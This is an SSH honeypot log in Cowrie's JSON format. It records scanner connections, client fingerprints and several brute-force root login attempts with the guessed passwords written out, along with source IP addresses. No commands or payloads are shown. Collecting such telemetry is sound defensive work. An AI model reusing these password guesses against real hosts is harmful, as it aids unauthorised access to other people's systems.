{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:27.553746Z","src_ip":"109.172.54.111","session":"4bab85899e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"l","message":"login attempt [root/l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:27.856572Z","src_ip":"109.172.54.111","session":"4bab85899e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:28.955618Z","src_ip":"109.172.54.111","session":"4bab85899e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"3339aa4840b7","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 3339aa4840b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:31.321984Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:31.437844Z","src_ip":"77.90.185.16","session":"3339aa4840b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.180","src_port":63186,"dst_ip":"10.17.0.5","dst_port":22,"session":"5682298e2fba","protocol":"ssh","message":"New connection: 198.235.24.180:63186 (10.17.0.5:22) [session: 5682298e2fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:35.172194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:36.324175Z","src_ip":"198.235.24.180","session":"5682298e2fba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:37.530789Z","src_ip":"198.235.24.180","session":"5682298e2fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:30:45.335461Z","src_ip":"198.235.24.180","session":"5682298e2fba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":40328,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e5b4cf5a31","protocol":"ssh","message":"New connection: 103.91.246.101:40328 (159.203.135.109:22) [session: 98e5b4cf5a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:25.630890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:25.636612Z","src_ip":"103.91.246.101","session":"98e5b4cf5a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:25.877944Z","src_ip":"103.91.246.101","session":"98e5b4cf5a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dgr","message":"login attempt [root/dgr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:26.845573Z","src_ip":"103.91.246.101","session":"98e5b4cf5a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:28.085256Z","src_ip":"103.91.246.101","session":"98e5b4cf5a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":55480,"dst_ip":"159.203.135.109","dst_port":22,"session":"718b21321b26","protocol":"ssh","message":"New connection: 171.244.141.86:55480 (159.203.135.109:22) [session: 718b21321b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:29.960798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:29.967798Z","src_ip":"171.244.141.86","session":"718b21321b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:30.217630Z","src_ip":"171.244.141.86","session":"718b21321b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warchief","message":"login attempt [root/warchief] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:31.231406Z","src_ip":"171.244.141.86","session":"718b21321b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:32.479980Z","src_ip":"171.244.141.86","session":"718b21321b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":46708,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a8443eab1a","protocol":"ssh","message":"New connection: 170.106.188.200:46708 (159.203.135.109:22) [session: 18a8443eab1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:38.021179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:38.026172Z","src_ip":"170.106.188.200","session":"18a8443eab1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:38.094475Z","src_ip":"170.106.188.200","session":"18a8443eab1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranjeet","message":"login attempt [root/ranjeet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:38.398326Z","src_ip":"170.106.188.200","session":"18a8443eab1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:39.468418Z","src_ip":"170.106.188.200","session":"18a8443eab1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58584,"dst_ip":"159.203.135.109","dst_port":22,"session":"680faf8e6069","protocol":"ssh","message":"New connection: 103.176.20.57:58584 (159.203.135.109:22) [session: 680faf8e6069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:45.589088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:45.593872Z","src_ip":"103.176.20.57","session":"680faf8e6069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:45.846948Z","src_ip":"103.176.20.57","session":"680faf8e6069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1990","message":"login attempt [root/1990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:46.605798Z","src_ip":"103.176.20.57","session":"680faf8e6069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:31:47.864228Z","src_ip":"103.176.20.57","session":"680faf8e6069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":50594,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aeda4a09e29","protocol":"ssh","message":"New connection: 103.173.227.57:50594 (159.203.135.109:22) [session: 8aeda4a09e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:08.698690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:08.702291Z","src_ip":"103.173.227.57","session":"8aeda4a09e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:08.944044Z","src_ip":"103.173.227.57","session":"8aeda4a09e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goodluck","message":"login attempt [root/goodluck] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:09.669866Z","src_ip":"103.173.227.57","session":"8aeda4a09e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:10.919343Z","src_ip":"103.173.227.57","session":"8aeda4a09e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":45542,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5d19193b7b2","protocol":"ssh","message":"New connection: 103.91.246.101:45542 (159.203.135.109:22) [session: d5d19193b7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:51.011615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:51.016814Z","src_ip":"103.91.246.101","session":"d5d19193b7b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:51.234524Z","src_ip":"103.91.246.101","session":"d5d19193b7b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mypass123","message":"login attempt [root/mypass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:52.135535Z","src_ip":"103.91.246.101","session":"d5d19193b7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:53.354715Z","src_ip":"103.91.246.101","session":"d5d19193b7b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":50486,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fd9f5714f8e","protocol":"ssh","message":"New connection: 171.244.141.86:50486 (159.203.135.109:22) [session: 8fd9f5714f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:57.423079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:32:57.427911Z","src_ip":"171.244.141.86","session":"8fd9f5714f8e","protocol":"ssh"}
